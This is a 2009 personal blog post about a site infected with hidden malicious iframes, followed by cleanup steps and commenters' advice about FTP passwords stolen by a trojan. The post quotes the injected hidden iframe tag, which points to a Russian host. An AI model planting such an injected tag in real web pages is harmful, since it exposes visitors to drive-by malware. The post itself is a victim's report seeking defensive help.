♥ Princessa's Royal Diary ♥ - Royalty has never been so PINK!

Malicious "Income" IFrames

Jul 01, 2009 by Princessa (aka Princess Sabrina) .

Geek

I am super annoyed right now. I don't know what the hell is wrong with my BLOGS! Anyone knows how to fix the problem?

iframe src="http://a3l.ru:8080/ts/in.cgi?pepsi85" width=125 height=125 style="visibility: hidden

I can't seem to find the file that is causing the problem.

According to , to clean up you can follow the following steps:

1. Start with your own computer. Scan it with anti-virus and anti-spyware tools.
2. Once you are sure your computer is clean, change all site passwords. (You might want to change computer and network passwords too.)
3. Now keep the new passwords secure. Don’t use auto-upload features of your web site editors. Enter passwords every time you upload new content instead. Use SFTP instead of FTP if possible.
4. Now remove the malicious code (the iframes) from your files on server. The easiest way to do it is upload a clean content from a backup.
5. Scan your server directories for any new/suspicious files (don’t forget to check hidden files). Remove anything that should not be there.
6. If your site was flagged by Google, request a malware review via Webmaster Tools.
7. Regularly check your site with diagnostics tools of your choice (my Unmask Parasites can be one of them) to be sure your site is clean.

I've tried but to no avail. Can someone help me?

Trackback URL for this post:

http://www.sabrina.sg/trackback/1499

433 reads

Louis Dizon (not verified) says:
July 2, 2009 - 5:25pm

Hi, we have absolutely the same problem! Oh my, how can this be fixed? Please inform me if you have found a solution to this. Thank you so much.

Princessa says:
July 3, 2009 - 3:19am

I have actually. I'll blog about the solution and attach the script that can help with the clean up in a bit. It's a tedious process...

John Galt (not verified) says:
July 4, 2009 - 2:32am

Somebody stolen your ftp username and password. If you are uploading files to your website using and FTP client, then you most likely have a trojan on your home computer that sniffs network packet and extracts ftp username and password out of them, since they are just plain, not-encrypted text.

You can get rid of the by editing the source file, but the trojan will be still on your home computer, just waiting to still more ftp passwords.</p> <p>For now, fix the files on your website. Change the ftp password, and don't use ftp client until you get rid of the trojan, or reformat your local computer.</p> <p>More info here:<br /> http://www.eukhost.com/forums/f29/all-sites-hacked-iframe-added-8229/#post55575</p> </div> <div class="c_quote_close"> </div> </div> <div class="c_links"><ul class="links"><li class="first last comment_reply"><a href="/comment/reply/1499/136792" class="comment_reply">reply</a></li> </ul></div> </div><div class="box"> <h2>Post new comment</h2> <div class="content"><form action="/comment/reply/1499" accept-charset="UTF-8" method="post" id="comment-form"> <div><div class="form-item" id="edit-name-wrapper"> <label for="edit-name">Your name: <span class="form-required" title="This field is required.">*</span></label> <input type="text" maxlength="60" name="name" id="edit-name" size="30" value="Anonymous Coward" class="form-text required" /> </div> <div class="form-item" id="edit-mail-wrapper"> <label for="edit-mail">E-mail: <span class="form-required" title="This field is required.">*</span></label> <input type="text" maxlength="64" name="mail" id="edit-mail" size="30" value="" class="form-text required" /> <div class="description">The content of this field is kept private and will not be shown publicly.<br />If you have a <a href="http://www.gravatar.com">Gravatar</a> account, used to display your avatar.</div> </div> <div class="form-item" id="edit-homepage-wrapper"> <label for="edit-homepage">Homepage: </label> <input type="text" maxlength="255" name="homepage" id="edit-homepage" size="30" value="" class="form-text" /> </div> <div class="form-item" id="edit-subject-wrapper"> <label for="edit-subject">Subject: </label> <input type="text" maxlength="64" name="subject" id="edit-subject" size="60" value="Re: Malicious "Income" IFrames" class="form-text" /> </div> <div class="form-item" id="edit-comment-wrapper"> <label for="edit-comment">Comment: <span class="form-required" title="This field is required.">*</span></label> <textarea cols="60" rows="15" name="comment" id="edit-comment" class="form-textarea resizable required"></textarea> </div> <fieldset class=" collapsible collapsed"><legend>Input format</legend><div class="form-item" id="edit-format-wrapper"> <label class="option"><input type="radio" name="format" value="1" class="form-radio" /> Filtered HTML</label> <div class="description"><ul class="tips"><li>Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd></li><li>Lines and paragraphs break automatically.</li></ul></div> </div> <div class="form-item" id="edit-format-wrapper"> <label class="option"><input type="radio" name="format" value="3" checked="checked" class="form-radio" /> Full HTML</label> <div class="description"><ul class="tips"><li>Lines and paragraphs break automatically.</li></ul></div> </div> <p><a href="/filter/tips">More information about formatting options</a></p></fieldset> <input type="hidden" name="form_id" id="edit-comment-form" value="comment_form" /> <input type="submit" name="op" id="edit-preview" value="Preview comment" class="form-submit" /> <input type="submit" name="op" id="edit-submit" value="Post comment" class="form-submit" /> </div></form> </div> </div> </div><div id="block-block-23" class="block block-block"> <div class="content"><script> var linkwithin_site_id = 6647; (function () { var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.src = 'http://www.linkwithin.com/widget.js?rand=' + Math.random(); document.getElementsByTagName('head')[0].appendChild(elem); })(); </script><p><a rel="nofollow" href="http://www.linkwithin.com/"><img src="http://www.linkwithin.com/pixel.png" alt="Blog Widget by LinkWithin" style="border: 0" /></a></p> </div> </div> <br />  <div id="ads_content_bottom"> <div id="block-block-11" class="block block-block"> <div class="content"><div align="center"> <script type="text/javascript"> var AdBrite_Title_Color = '8d648e'; var AdBrite_Text_Color = 'e895cc'; var AdBrite_Background_Color = 'fff5fc'; var AdBrite_Border_Color = 'ffc2de'; var AdBrite_URL_Color = 'ffbbe8'; try{var AdBrite_Iframe=window.top!=window.self?2:1;var AdBrite_Referrer=document.referrer==''?document.location:document.referrer;AdBrite_Referrer=encodeURIComponent(AdBrite_Referrer);}catch(e){var AdBrite_Iframe='';var AdBrite_Referrer='';} </script><script type="text/javascript">document.write(String.fromCharCode(60,83,67,82,73,80,84));document.write(' src="http://ads.adbrite.com/mb/text_group.php?sid=1314363&zs=3436385f3630&ifr='+AdBrite_Iframe+'&ref='+AdBrite_Referrer+'" type="text/javascript">');document.write(String.fromCharCode(60,47,83,67,82,73,80,84,62));</script><div style="margin-top: -5px; font-size: 10px;"><a rel="nofollow" target="_top" href="http://www.adbrite.com/mb/commerce/purchase_form.php?opid=1314363&afsid=1">Advertise Here</a></div> </div> </div> </div> </div> <div id="similar"> <div id="block-similar-0" class="block block-similar"> <h2>You might also be interested in these posts:</h2> <div class="content"><div class="item-list"><ul><li><a href="/2008/07/15/protect-your-computer-from-malicious-programs">"Protect your computer from malicious programs"</a></li><li><a href="/2007/08/17/dont-pay-for-ebay-selling-tools">Don't pay for eBay selling tools?</a></li><li><a href="/2008/03/24/my-beginners-guide-to-web-hosting">My beginners' guide to web hosting</a></li><li><a href="/2007/04/30/narconon-stone-hawk">Narconon Stone Hawk</a></li><li><a href="/2007/06/08/free-online-chat-rooms">Free Online Chat Rooms</a></li><li><a href="/2008/02/07/celeb-photo-nude-scandal-fann-wong-stefanie-sun-edison-chen">Celeb Photo (Nude) Scandal: Fann Wong, Stefanie Sun, Edison Chen...</a></li><li><a href="/2006/02/15/ps-confused-though-its-none-of-my-business">PS. Confused, though it's none of my business</a></li><li><a href="/2007/04/30/hotelreservations-com">HotelReservations.com</a></li><li><a href="/2007/05/21/idrive-e-secure-online-backup">IDrive-E Secure Online Backup</a></li><li><a href="/2008/03/31/my-comiqs-ized-teddybear">My Comiqs-ized Teddybear?</a></li></ul></div></div> </div> </div> </div> </div> <div id="blank_02"> </div> <div id="centerbar"> <div id="ads_center_highlight"> <div id="block-block-31" class="block block-block"> <h2>Advertisements</h2> <div class="content"><div align="center"> <a href="http://www.sabrina.sg/advertise"><img src="http://www.sabrina.sg/files/advertise135x300.jpg" width="135"></a> </div> </div> </div> </div> <div id="login"> <div id="block-user-0" class="block block-user"> <h2>User login</h2> <div class="content"><form action="/2009/07/01/malicious-income-iframes?destination=node%2F1499" accept-charset="UTF-8" method="post" id="user-login-form"> <div><div class="form-item" id="edit-name-wrapper"> <label for="edit-name">Username: <span class="form-required" title="This field is required.">*</span></label> <input type="text" maxlength="60" name="name" id="edit-name" size="15" value="" class="form-text required" /> </div> <div class="form-item" id="edit-pass-wrapper"> <label for="edit-pass">Password: <span class="form-required" title="This field is required.">*</span></label> <input type="password" name="pass" id="edit-pass" maxlength="60" size="15" class="form-text required" /> </div> <input type="submit" name="op" id="edit-submit" value="Log in" class="form-submit" /> <div class="item-list"><ul><li><a href="/user/register" title="Create a new user account.">Create new account</a></li><li><a href="/user/password" title="Request new password via e-mail.">Request new password</a></li></ul></div><input type="hidden" name="form_id" id="edit-user-login-block" value="user_login_block" /> </div></form> </div> </div> </div> <div id="user"> <div id="block-user-1" class="block block-user"> <h2>Navigation</h2> <div class="content"> <ul class="menu"> <li class="leaf"><a href="/page/about" title="About">About</a></li> <li class="leaf"><a href="/contact">Contact</a></li> <li class="leaf"><a href="/gallery" title="Visit your embedded Gallery2.">Gallery</a></li> <li class="leaf"><a href="/shopping" title="Princessa's Fashion and Shopping Directory">Shopping</a></li> <li class="leaf"><a href="/store/wardrobe">Wardrobe</a></li> </ul> </div> </div> </div> <div id="voteme"> <div id="block-block-5" class="block block-block"> <h2>Vote For Me</h2> <div class="content"><div align="center"> <a rel="nofollow" href="http://www.bloggingtofame.com/action.php?view=profile&id=1947" target="_blank"><img src="http://www.bloggingtofame.com/images/widgit_01_03.gif" width="120" border="0" /></a> </div> </div> </div> </div> <div id="ads_center_top"> <div id="block-block-19" class="block block-block"> <h2>Advertisements</h2> <div class="content"><div align="center"> <script type='text/javascript'> nuffnang_bid_sing = "b14cc546b830ad5f59b7336123eb7592"; </script><script type="text/javascript" src="http://synad2.nuffnang.com.sg/lmn.js"></script></div> </div> </div> </div> <div id="ranks"> <div id="block-block-10" class="block block-block"> <h2>Ranks</h2> <div class="content"><div align="center"> <a rel="nofollow" href="http://topofblogs.com/personal"><img src="http://stats.topofblogs.com/send/1058" alt="TopOfBlogs" width="75" border="0" /></a> <a rel="nofollow" href="http://www.topblogarea.com/sitedetails_3023.html" title="Personal blogs"><img src="http://www.topblogarea.com/tracker.php?do=in&id=3023" alt="Top Personal blogs" width="75" border="0" /></a><br /> <a rel="nofollow" href="http://topsites.blogflux.com/personal/"><img src="http://topsites.blogflux.com/track_55169.gif" alt="Personal Blogs - Blog Top Sites" width="75" border="0" /></a> <a rel="nofollow" href="http://www.blogtopsites.com/personal/"><img src="http://www.blogtopsites.com/v_703.gif" alt="Personal Blogs - Blog Top Sites" width="75" border="0" /></a></p> <script type="text/javascript" src="http://exactrank.com/show.php"></script><script type="text/javascript" language="JavaScript" src="http://xslt.alexa.com/site_stats/js/t/a?url=www.sabrina.sg"></script></div> </div> </div> </div> <div id="linkme"> <div id="block-block-30" class="block block-block"> <h2>Google Friends</h2> <div class="content"><script type="text/javascript" src="http://www.google.com/friendconnect/script/friendconnect.js"></script><div id="div-4931278868856399239" style="width:160px;border:0;""></div> <script type="text/javascript"> var skin = {}; skin['BORDER_COLOR'] = '#ffe6f7'; skin['ENDCAP_BG_COLOR'] = '#ffe6f7'; skin['ENDCAP_TEXT_COLOR'] = '#cc66cc'; skin['ENDCAP_LINK_COLOR'] = '#993399'; skin['ALTERNATE_BG_COLOR'] = '#ffe6f7'; skin['CONTENT_BG_COLOR'] = '#ffe6f7'; skin['CONTENT_LINK_COLOR'] = '#cc66cc'; skin['CONTENT_TEXT_COLOR'] = '#663366'; skin['CONTENT_SECONDARY_LINK_COLOR'] = '#ff99ff'; skin['CONTENT_SECONDARY_TEXT_COLOR'] = '#663366'; skin['CONTENT_HEADLINE_COLOR'] = '#663366'; skin['NUMBER_ROWS'] = '2'; google.friendconnect.container.setParentUrl('/' /* location of rpc_relay.html and canvas.html */); google.friendconnect.container.renderMembersGadget( { id: 'div-4931278868856399239', site: '06417808710513833771' }, skin); </script></div> </div> <div id="block-block-12" class="block block-block"> <h2>Link Me</h2> <div class="content"><div align="center"> </p> <style type="text/css"></style><div id='networkedblogs_container'> <div id='networkedblogs_above'></div> <div id='networkedblogs_widget' style="width:135px;margin:0px auto;border:none;"> <div id='networkedblogs_header' style="background-color:#fefefe;text-align:center;"><b>FB Blog Network</b></div> <div id='networkedblogs_body' style="background-color:#ffffff;color:#444444;padding:5px;border-left:1px solid #D8DFEA;border-right:1px solid #D8DFEA;text-align:center;"> <table cellpadding="0" cellspacing="0"> <tr> <td><span style="color:#777777;"><sub>My Blog:</sub></span></td> </tr> <tr> <td><a rel="nofollow" target="_blank" href="http://apps.facebook.com/blognetworks/blogpage.php?blogid=62174" style="text-decoration:none;color:#3b5998;">Princessa's Royal Diary</a></td> </tr> <tr> <td> <div style='text-align:center;'><a rel="nofollow" target="_blank" href="http://apps.facebook.com/blognetworks/blogpage.php?aid=505236237&blogid=62174" style="color:#666666;"><sub>Join my blog network!</sub></a></div> </td> </tr> </table> </div> </div> <div id='networkedblogs_below' class='networkedblogs_below'></div> </div> <script type="text/javascript"></script><script type="text/javascript" src="http://widget.networkedblogs.com/getwidget?bid=62174"></script><p></p> <p>Link my blog by using any of the buttons:<br /> <sup>(click to select the code)</sup></p> <script type="text/javascript"> function selText1() { document.getElementById("linkme1").select() } </script><p><a href="http://www.sabrina.sg" rel="lightbox"><img src="http://www.sabrina.sg/images/tags/sabrina135x50.png" alt="♥ Princessa's Royal Diary ♥" border="0" /></a><br /> <b>135 x 50</b><br /> <textarea id="linkme1" rows="2" onclick="selText1()"><a href="http://www.sabrina.sg"><img src="http://www.sabrina.sg/images/tags/sabrina135x50.png" alt="♥ Princessa's Royal Diary ♥" border="0" /></a></textarea></p> <script type="text/javascript"> function selText2() { document.getElementById("linkme2").select() } </script><p><a href="http://www.sabrina.sg" rel="lightbox"><img src="http://www.sabrina.sg/images/tags/sabrina88x31.png" alt="♥ Princessa's Royal Diary ♥" border="0" /></a><br /> <b>88 x 31</b><br /> <textarea id="linkme2" rows="2" onclick="selText2()"><a href="http://www.sabrina.sg"><img src="http://www.sabrina.sg/images/tags/sabrina88x31.png" alt="♥ Princessa's Royal Diary ♥" border="0" /></a></textarea></p> <script type="text/javascript"> function selText3() { document.getElementById("linkme3").select() } </script><p><a href="http://www.sabrina.sg" rel="lightbox"><img src="http://www.sabrina.sg/images/tags/sabrina80x15.png" alt="♥ Princessa's Royal Diary ♥" border="0" /></a><br /> <b>80 x 15</b><br /> <textarea id="linkme3" rows="2" onclick="selText3()"><a href="http://www.sabrina.sg"><img src="http://www.sabrina.sg/images/tags/sabrina80x15.png" alt="♥ Princessa's Royal Diary ♥" border="0" /></a></textarea></p> <script type="text/javascript"> function selText4() { document.getElementById("linkme4").select() } </script><p><b>Princessa</b><br /> <textarea id="linkme4" rows="2" onclick="selText4()"><a href="http://www.sabrina.sg">Princessa</a></textarea></p> <p>Favorite my blog on Technorati:</p> <p><a rel="nofollow" href="http://technorati.com/faves?sub=addfavbtn&add=http://www.sabrina.sg"><img src="http://static.technorati.com/pix/fave/btn-fave2.png" alt="Add to Technorati Favorites" /></a> </div> </div> </div> </div> <div id="ads_center_middle"> <div id="block-block-25" class="block block-block"> <h2>Featured</h2> <div class="content"><div align="center"> <script src="http://entrecard.s3.amazonaws.com/widget.js?user_id=1496&type=standard_127" type="text/javascript" id="ecard_widget"></script><script language='javascript'>var sp_key = 'e2b2xyjkmzcc8c4w';</script><script type='text/javascript' src='http://www.spottt.com/js/spottt.js'></script><p> <iframe width="150" height="315" src="http://adv.blogupp.com/code2b7fb1f3-e0fb-460a-9cf7-8c5d392d9750" scrolling="no" frameborder="no" marginwidth="0" marginheight="0">

Listings

Singapore

Search

Last 10 Entries:

[Twitter] Sweet Tweets
-
Winning 3rd prize, xoxo Nuffnang and Cenosis!
-
Go Singapore Go?
-
[Twitter] Sweet Tweets
-
[Twitter] Sweet Tweets
-
Why Twilight Sucks
-
[Twitter] Sweet Tweets
-
[Twitter] Sweet Tweets
-
Who are you in (500) Days of Summer?
-
[Twitter] Sweet Tweets
-

Visitors

Poll

About

I go by the name Princessa (pronounced as Prin-ces-sa), you can also call me Princess Sabrina.

View my profile

Email

i [dot] am [at] sabrina [dot] sg

Services

I have roughly 9 years of experience in design, personal as well as commercial usage. If you need any design work done, feel free to drop me a note or message me at my tagboard.

Design

It took me close to 3 hours to put together the design and code the stylesheet, function template page template file and everything else that went with it. But it's ready now. Well, ready to view at least.

_{[ Read more... ]}

Latest Reviews

Latest Videos

Credits

Princessa's Royal Diary is best viewed with Firefox at 1024 x 768. It is proudly powered by Drupal, Entries (RSS) and Comments (RSS).

All resources can be found on the Credits page.

Disclaimer

Disclaimer Policy and Disclosure Policy as per written.

^{Free Advertising}

Advertise Here

♥ Princessa's Royal Diary ♥ - Royalty has never been so PINK!

Malicious "Income" IFrames

Trackback URL for this post:

Advertisements

Listings

Links

20070423 (1)

Advertisements

Search

Last 10 Entries:

Visitors

Advertisements

Poll

About

Email

Services

Design

Recent Comments

Popular Content

Today's:

Last viewed:

Latest Reviews

Latest Videos

Archives

Credits

Disclaimer

Advertisements

♥ Princessa's Royal Diary ♥ - Royalty has never been so PINK!

Malicious "Income" IFrames

Trackback URL for this post:

Advertisements

Listings

Links

20070423 (1)

Advertisements

Search

Last 10 Entries:

Subscribe

Visitors

Advertisements

Poll

About

Email

Services

Design

Recent Comments

Popular Content

Today's:

Last viewed:

Latest Reviews

Latest Videos

Archives

Credits

Disclaimer

Advertisements